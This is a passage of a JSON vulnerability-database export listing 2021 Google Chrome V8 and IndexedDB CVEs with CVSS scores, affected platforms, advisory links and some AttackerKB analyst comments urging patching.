"UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T16:15:00", "type": "cve", "title": "CVE-2021-21148", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2023-11-07T03:29:00", "cpe": ["cpe:/o:fedoraproject:fedora:33", "cpe:/o:debian:debian_linux:10.0", "cpe:/o:fedoraproject:fedora:32"], "id": "CVE-2021-21148", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-03T15:12:18", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T22:15:00", "type": "cve", "title": "CVE-2021-30551", "cwe": ["CWE-843"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2023-11-07T03:33:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", 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An attacker could use this vulnerability to execute arbitrary code on the system or cause the application to crash.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-19T00:00:00", "type": "cnvd", "title": "Google Chrome Type Obfuscation Vulnerability (CNVD-2021-62171)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2021-08-16T00:00:00", "id": "CNVD-2021-62171", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-62171", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-05T07:53:08", "description": "Chrome is a simple and efficient web browsing tool developed by Google. a post-release reuse vulnerability exists in V8 in versions prior to Google Chrome 94.0.4606.71. An attacker could exploit this vulnerability to potentially cause heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T00:00:00", "type": "cnvd", "title": "Google Chrome Post-release Reuse Vulnerability (CNVD-2021-99278)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2021-12-13T00:00:00", "id": "CNVD-2021-99278", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-99278", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-05T07:53:33", "description": "Chrome is a simple and efficient web browsing tool developed by Google. versions prior to Google Chrome 95.0.4638.69 are vulnerable to a V8 improper implementation. An attacker could exploit this vulnerability to potentially cause heap corruption via a crafted HTML page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-29T00:00:00", "type": "cnvd", "title": "Google Chrome V8 Improper Implementation Vulnerability (CNVD-2021-99260)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2021-12-13T00:00:00", "id": "CNVD-2021-99260", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-99260", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-27T04:58:41", "description": "Google Chrome is a web browser from Google, Inc. Google Chrome is vulnerable to a resource management error that can be exploited by attackers to cause arbitrary code execution or data corruption.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-14T00:00:00", "type": "cnvd", "title": "Google Chrome Resource Management Error Vulnerability (CNVD-2022-16304)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-4102"], "modified": "2022-03-03T00:00:00", "id": "CNVD-2022-16304", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2022-16304", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-05T09:33:16", "description": "Google Chrome is a web browser from Google, Inc. A code execution vulnerability exists in the Google Chrome Indexed DB API. A remote attacker could use this vulnerability to execute arbitrary code on the system or cause a denial of service condition.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-14T00:00:00", "type": "cnvd", "title": "Google Chrome Indexed DB API code execution vulnerability", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2021-09-26T00:00:00", "id": "CNVD-2021-73431", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-73431", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2023-10-18T16:43:39", "description": "Type Confusion in V8 in Google Chrome prior to 91.0.4472.164 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-30563", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30563"], "modified": "2023-10-07T00:00:00", "id": "AKB:9D905B34-8121-41F5-8B42-E3A825212673", "href": "https://attackerkb.com/topics/9h6envpJIH/cve-2021-30563", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:44:09", "description": "Heap buffer overflow in V8 in Google Chrome prior to 88.0.4324.150 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at February 05, 2021 4:25pm UTC reported:\n\nReported as exploited in the wild at <https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>. Several news articles such as <https://www.theverge.com/2021/2/5/22267872/chrome-88-zero-day-vulnerability-government-backed-hackers-security-researchers> have suggested that given the timing of this bug, and that it was reported one day before Google\u2019s report on the North Korea hackers targeting security researchers (see <https://www.theverge.com/2021/1/26/22250060/google-threat-analysis-group-north-korean-hackers-cybersecurity-researchers-social-engineering>), it may be related to the 0day Chrome bug that was used by North Korean state actors in that engagement.\n\nGiven this is a remote heap overflow in the browser there may be some concerns regarding reliability though and whilst I\u2019m sure there will be public exploits for this bug, I do question how reliable they will be given the nature of trying to exploit heap exploits. I would imagine the exploit would take advantage of JavaScript to craft the heap appropriately. Therefore a temporary, but not recommended, precaution may be to disable JavaScript in Chrome until one can apply this update.\n\nPlease note that Chrome will automatically apply the update if you open and close your browser. However people do tend to keep Chrome open with many tabs and then suspend their PC at the end of the day, so its possible that these patches will likely see an uptick in application when the next Patch Tuesday or company wide patch cycle is enforced and people are forced to reboot their PCs to apply patches, and therefore restart Chrome.\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-09T00:00:00", "type": "attackerkb", "title": "CVE-2021-21148", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2023-10-07T00:00:00", "id": "AKB:B61D2687-96CE-4CE9-939F-9E35DA7814C4", "href": "https://attackerkb.com/topics/9stbF9rFqe/cve-2021-21148", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:37:06", "description": "Inappropriate implementation in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-23T00:00:00", "type": "attackerkb", "title": "CVE-2021-38003", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], "modified": "2023-10-07T00:00:00", "id": "AKB:411A7B9E-A187-43CF-8DA1-E0E921F590D1", "href": "https://attackerkb.com/topics/E0DZ4ITK2W/cve-2021-38003", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:41:17", "description": "Type confusion in V8 in Google Chrome prior to 91.0.4472.101 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-15T00:00:00", "type": "attackerkb", "title": "CVE-2021-30551", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2023-10-07T00:00:00", "id": "AKB:732A3017-A62C-4347-9709-9B8790F47FA1", "href": "https://attackerkb.com/topics/V4ywqx3Gej/cve-2021-30551", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:43:14", "description": "Use after free in V8 in Google Chrome prior to 94.0.4606.71 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at October 02, 2021 7:38pm UTC reported:\n\nExploitation in the wild of this bug has been noted as reported by Google at <https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>. The bug details are available at <https://bugs.chromium.org/p/chromium/issues/detail?id=1252918> but are still classified to the public until more people have patched.\n\nThe bug in question is a Use-After-Free vulnerability in the V8 JavaScript rendering engine of Google Chrome prior to 94.0.4606.71. It was reported by an anonymous user on 2021-09-24. Use-After-Free vulnerabilities in V8 are not all that uncommon and are frequently used in the wild to attack Chrome users, as was observed with this particular bug. They often give an attacker access to the user\u2019s desktop considering that the V8 engine is not sandboxed, although according to <https://www.zdnet.com/article/bugs-in-chromes-javascript-engine-can-lead-to-powerful-exploits-this-project-aims-to-stop-them/>, there are plans by Google to potentially look at sandboxing the V8 engine in the future.\n\nAll in all given the severity of this bug, the lack of sandboxing of the V8 engine, the history of exploitation of V8 bugs in the past giving a rich knowledge base for attackers to work from, and the fact that this bug has been exploited in the wild already, I would highly recommend patching this bug as soon as possible.\n\nIf this is not possible then JavaScript should be disabled on all untrusted sites using a plugin such as NoScript or by disabling JavaScript execution within the settings of Chrome itself to avoid exposing oneself to this vulnerability until patches can be deployed.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-37975", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2023-10-07T00:00:00", "id": "AKB:D986B627-DA84-4C1B-8D20-5ADF751B05BF", "href": "https://attackerkb.com/topics/k42b9c5WU4/cve-2021-37975", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:43:17", "description": "Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-30633", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30633"], "modified": "2023-10-07T00:00:00", "id": "AKB:624AC3C7-B310-4975-8649-2694A0CF4962", "href": "https://attackerkb.com/topics/bsQoVAJ1w1/cve-2021-30633", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, 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The manipulation with an unknown input leads to a privilege escalation vulnerability\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-13T20:01:02", "type": "veracode", "title": "Privilege Escalation", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2022-09-28T23:01:02", "id": "VERACODE:30949", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30949/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:47:44", "description": "chromium is vulnerable to denial of service. An attacker is able to crash the system by exploiting a heap corruption via a maliciously crafted HTML page. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-07T10:16:25", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-37975"], "modified": "2022-02-19T06:36:25", "id": "VERACODE:32428", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-32428/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:50:50", "description": "chromium is vulnerable to type confusion. The vulnerability is triggered by performing integer data type conversion, creating an out-of-bounds condition that could cause arbitrary memory read/write primitive.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-23T23:06:09", "type": "veracode", "title": "Type Confusion", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21224"], "modified": "2021-06-01T17:14:05", "id": "VERACODE:30147", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-30147/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-17T12:46:30", "description": "chromium-browser:bionic is vulnerable to denial of service.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-09T15:16:27", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38003"], 